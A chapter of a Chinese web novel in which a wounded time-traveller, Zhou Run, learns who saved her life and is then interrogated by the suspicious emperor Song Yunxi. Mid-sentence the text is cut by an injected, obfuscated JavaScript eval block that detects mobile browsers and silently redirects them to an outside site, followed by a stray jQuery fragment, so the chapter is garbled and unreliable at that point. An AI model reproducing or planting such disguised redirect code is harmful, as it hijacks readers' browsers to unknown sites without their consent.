自那日之后,周润就再也没有见过那位白眉老者。
太医院那群人也默契地没有提起这件“找外援”,只是一味地给周润开一些滋养身体的汤药,时不时还要带着一群年轻点的大夫过来“教学”一番。仿佛周润是什么当代活案例一样。
她只觉得奇怪,不过自己身上的伤口没长好,就连下床都费劲,也就懒得跟他们掰扯。于是只好每日在这吃了睡,睡了吃,希望自己能够早日恢复如初。
卧床不起的日子没有这么好受,特别是她似乎还被宋云熙给软囚禁起来,除了太医院脑的人一律不准探视。
问,就说周小姐身体不适,不能探望。
最是没心肝的还是张沛民,她在宫中躺了有五日,他竟然人也没出现,信也没出现。周润啐了他一口,跟系统发誓她从宋云熙这边脱身之后一定要脏话不重样地问候对方祖宗十八代。
妹的,要不是为了搞他的任务,她堂堂一个养尊处优,离权力斗争八百里的周家小姐,怎么可能会落到宋云熙的怀疑范围内。更惨的是,昏迷前就在跟皇上辩驳此事,她都以为自己能够洗白之时,半路杀出了个程咬金,一剑就把她捅了个对穿。
宋云熙以为她是和刺客串通好的,连带着之前的话语都不相信,非要把周润致命的伤养好之后严刑拷打一番。
太医院的人估计也是怕这头才把周润救回来,那头皇上一鞭子下去又把她给打回去阴曹地府找阎王报道,拼了老命也要在刘志面前留下周润,要给她多争取几天的养伤时间。
“宿主,你就好生养着吧,难得光明正大躺在床上什么都不用干。这不是你们现代人最渴望的躺平生活吗。”
周润翻了个白眼,撅起嘴把耷拉在一旁的发丝吹了起来,又看着它掉下来,
“你这话说的,我要是不想个办法让宋云熙不再怀疑,我恐怕还有一千年的长眠时间。”
她呛了回去。
“欸”,她无可奈何地叹气道。
其实解决事情的最好办法,就是让张沛民进宫向宋云熙说明一切。不过宋云熙现在一股脑地把所有事情都安到了周润的身上,誓要严刑逼供让她供出背后的人。
她背后有什么人,她背后是数以千计的穿越局正式员工以及发达的现代科技。
宋云熙就算再捅周润一剑,她也说不出什么话。
“欸。”
系统和周润一同叹气。
宋云熙在周润的房间派了重兵把守,前后左右分别由两组锦衣卫日夜巡逻,绝对不会让任何刺客有可乘之机。毕竟那天皇上都大发雷霆,只要周润就不回来,要把他们这些精锐力量的锦衣卫和御医通通处死。大家都见识到周润之于宋云熙的重要性,根本不敢怠慢。
锦衣卫怕死,太医院那群老登更怕死,当即就排班日夜监管着周润的身体状况。
这不,房间内还摆放着几个碾碎药材的石磨,另一边的桌子上堆满了各式各样的古籍。
跟着谭太医的药童被迫跟着来周润这边工作。自己的师傅在一旁查看古籍,自己就在另一边磨着药粉。
他撇撇嘴,锤锤自己酸痛的腰。
“还不如回去太医院干活呢,起码在那里还能站着磨药,来到这边只能蹲在地上。”,他内心腹诽道,
“也不知道师傅他们在装什么,明明都不是他们治好的,现在还要在这里守着这位贵人。
嘁,要不是那天师傅正巧要去探望师傅的师傅,我们这群人的脑袋都得掉下来。”
“小海,过来一下。”
“欸,好的师傅。”
药童应声答道,赶紧放下手中的药磨,再拍拍手中沾染的药粉就跑过去。
“我家中有些急事,得出宫一趟。我已让黎太医过来顶班,等会你就跟着他在这里就好了。”
“可是……”
“没事的,皇上最近不会过来的。而且最近周贵人的脉象平稳,断然不会出现问题,师傅相信你。”
于是,苦逼的药童就这样心惊胆战地和周润两个人共处一室。
“咳咳咳,咳咳咳。”
“贵人,你怎么了。”
周润瞧着太医刚走,赶紧佯装咳嗽把药童骗过来。对方吓得屁滚尿流,赶紧就爬过去看周润的状况。
“贵人,你你你你你,没什么事吧。”
他用哭腔闻道。
“没什么事,我只是有点口渴。”
“哦哦哦,我现在给你倒杯茶水。”
周润勉强靠在枕头上,就着药童的手就将茶杯中的水喝下肚。完毕,还要咂巴咂巴嘴道,
“小海?你可知是谁救了我啊,这个救命之恩无以为报,等我病好之后必定要登门道谢。”
“啊?”
“是你的师傅吗?还是黎太医?还是苏太医?”
周润面容姣好,周家还好吃好喝地供着,气质也自然不会差。加之方才因为咳嗽而导致暂时的缺氧,还泛起了一阵阵的红晕。
药童盯着周润的脸,一时间有些无所适从,只得眼神逃离。
“这个,这个是我们的职责所在,贵人无需放在心上。”
周润听到药童的话,大为感动,还要从被窝中抽出一只手摸着面上并不存在的眼泪。
美人垂泪,药童也有些于心不忍,不想她把自己的感谢放错地方。
反正现在也没有别人,说出去也无妨。
“贵人,我告诉你了,你也要装作不知道好吗。”
得逞了。
“好,好。我定然不会让你难做的。”
“欸,贵人,你那日身重剧毒,胸口还中了一剑,呼吸都没了,我们这些凡夫俗子哪里救得活。就算是再世华佗来了也不能活死人肉白骨。
皇上正在气头上,说我们救不活你就要砍头。大家都怕啊,最后没办法,就找了我师傅的师傅进宫帮忙。”
师傅的师傅?
那应该就是那日的白眉老者了。
“师傅说他当年是孤儿,辗转到一处山谷中才被师祖收留。师祖教他医术,他才得以谋生。
后来师傅想要找师祖报答,却根本找不到人。所以啊,贵人,我还是劝你他日若能全须全尾地出去,就别想着报恩这件事了。就连师傅都找不到师祖,你更加是找不到的。”
药童还在苦口婆心地劝说着,周润都已经有些走神。
山谷?
精通医术?
怕不是周润一直寻找的那一个药谷传人。
但是那日的白眉老者说是借用了身份才能进来救周润,恐怕在安吉堂的也不是药谷传人。
转来转去,最后还是要想办法先出宫门。
“皇上,皇上,你今日怎么过来这边了。”
出神之际,外面传来了阵阵脚步声以及黎太医的对话声。
“糟了,贵人,你先躺会去,皇上来了。”
吱呀。
刘志挡在宋云熙的前面,把黎太医拉到一旁,不让他阻挡皇上的脚步。
“皇上!皇上!”
黎太医被刘志控制在门外,只得撕心裂肺地朝超前几步的宋云熙大喊,
“皇上,贵人身体虚弱,不适合交谈。”
宋云熙前进的脚步一顿,回头冷冰冰地盯着黎太医。
他最讨厌就是太医院那几个老东西,一天到晚就在那里嚷嚷身体合不合适,病情严不严重。甚至还要越过刘志,屡次多番阻挠自己想要和周润见面的动作。
他不在意太医院用了什么手段,用了什么药
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299721|194354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
材,用了什么方法救活周润,他只在意结果。那日的“审讯”戛然而止,宋云熙脑中积攒了很多想法,他只想尽快证实。
“滚出去!”,他怒吼道。
黎太医还是张大嘴,口中却没有发出别的声音。他硬生生地将原先已经到口腔的劝说给吞了回去,抓着刘志袖口的双手了松下来。
宋云熙背对着周润和药童喊出这句话,不怒自威神色让周润再次意识到眼前这人可不是张沛民这种装蒜的人,也不是张立勋这种好说话的人。
九五至尊,一句话就可以定夺一个人的生死。
她当时在宋云熙面前哭诉狡辩显得如此好笑以及无力。
周润多多少少是直面过宋云熙的态度,而药童却没有。他们这种底层的奴才在宫中能够远远见一眼皇上都算三生有幸,平日里更多的还是被师傅使唤去做一些脏活累活。
最多最多,也只是在心中骂几句,连阳奉阴违都很少。
药童被宋云熙的这一声吓得直接把手中的石磨盘丢下地,背贴墙头贴肩就手脚并用地爬了出去,顺带还十分有眼力见地把门关了起来。
周润侧身看着逐渐封闭的空间,心中知道自己这次难逃一劫。
-----------------
“怎么样,这种置诸死地而后生的感觉。”
冷不丁地,宋云熙踱步走到周润面前,居高临下观察着她脸上的表情之后吐出了这一句话。
周润躺在床上,动弹不得。往左侧身就会压到伤口,往右侧身则会被迫直面宋云熙的视线。倒不如平躺在这儿,听候发落。
如此这般,反正自己也跑不掉了,周润嘴上的便宜可不能少,当即呛了回去,
“呵……不太好。不过如果能让我选,我还是会让他刺这一刀。毕竟我说什么,皇上也不会信的了。倒不如随了那个刺客所想,直接把我弄死。这样一来,全天下的阴谋都能往我身上倾倒。”
宋云熙也不恼,反倒充满耐心,饶有兴致地听着周润的指责。
他今日过来还敢与周润单独相处,就说明了有些想不通的事情已经相通了。只不过他不想让周润知道自己的想法,便还是装着过来兴师问罪的状态,让对方按耐不住往外多说点。
宋云熙拉来了张凳子顺势坐下,嘴角勾起一抹笑容,
“你可真是,八字很硬啊。死了两次都没死成。你在周府寻死那次我不知道,但是这一次,喝了毒药,中了一剑,甚至连呼吸都没了,还能化险为夷。呵呵呵呵,莫非你是九尾狐转世,今生今世得死九次才能死成?”
周润身体僵硬,想要侧头摆脱宋云熙的视线,却被他无情地扼住喉咙转了回来。他的手很轻,却让周润很不舒服。
这也是,自然界的生物都不能坦坦荡荡地将自己的弱点暴露给敌人,即便摘到对方没有恶意也会因为条件反射而颤抖。
光明正大当了几日不会动弹的病人,周润非常恨自己竟然能坦荡到一点复健活动都不做。现在好了,两只手都没有力气拨开宋云熙。
“你真得活着,有脉搏,有呼吸……是谁救了你?还是你们串通好的假死脱身局?”
周润不想回答,她也不知道要怎么回答。
系统说是从他们对话开始就被一股莫名的力量退出了世界,周润听着,猜测当时就已经在不知不觉中服下毒药,深入骨髓。
生死一线,她被白眉老者从阴曹地府拖了回来,一时半会也没有恢复过来,至今还觉得当日的事情如梦中初醒般模糊。看不见,摸不着,甚至让她觉得这种疯癫的质问,软弱无力的反击,根本不应该是她做出来的行为。
她无论从自己的记忆中,还是从系统的记录中都无从得知当时发生的事情,哪里还能顺着说下去。